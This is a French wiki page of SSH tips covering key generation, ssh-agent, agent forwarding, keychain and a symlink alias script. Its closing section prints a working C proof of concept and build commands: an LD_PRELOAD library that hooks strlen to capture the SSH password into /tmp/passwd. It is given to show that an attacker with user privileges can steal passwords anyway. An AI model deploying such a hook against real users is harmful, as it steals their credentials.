Astuces ssh
Voir aussi SSH.
Créer un couple de clefs :
$ ssh-keygen -t dsa
Utiliser un password pour crypter la clef est important...
Mettre la clef sur le serveur cible :
$ ssh-copy-id -i ./ssh/id_dsa.pub serveur
ou bien ( en moins bien ) :
$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub
Pour ne pas avoir à décrypter la clef à chaque utilisation, mais tout en la gardant en sécurité :
Démarrer ssh-agent:
$ eval $(ssh-agent)
Ajouter une clef :
$ ssh-add
Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B ) :
ForwardAgent yes
Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.
Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :
keychain ~/.ssh/id_rsa ~/.ssh/id_dsa source ~/.keychain/*-sh
à votre .bash_profile.
Utiliser des pseudo alias :
Dans un fichier texte ssh-aliases
#!/bin/bash ssh $(basename $0) "$@"
puis le rendre utilisable :
chown root:root ssh-aliases && chmod 755 ssh-aliases && mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.
enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :
for namae in $(cat machines); do ln -s ~/bin/{ssh-aliases,$namae} done
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.
Mais un pirate peut me voler ma clef !!!
Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp :
noobpoc.c #include <stdlib.h> #include <string.h> #include <stdio.h> void record_pwd (char *str) { FILE*f = fopen("/tmp/passwd","a"); fprintf(f,"%s\n",str); fflush (f); fclose(f); } size_t strlen(const char * s ) { static char ready = 0; static char dead = 0; if ( !dead && ready ) { record_pwd(s); dead = 1; } if ( !dead && !strcmp( s, "Password: ") ) { ready = 1; } /* Does da job... */ int i = 0; while ( s[i++] ); return (size_t) (i-1); }
gcc -fPIC noobpoc.c -c -w -Wall -std=c99 gcc -shared -o libnoobpoc.so noobpoc.o -lc
Kaboom sur simple modification de l'environnement :
LD_PRELOAD=./libnoobpoc.so ssh localhost
Le mdp est dans /tmp/passwd...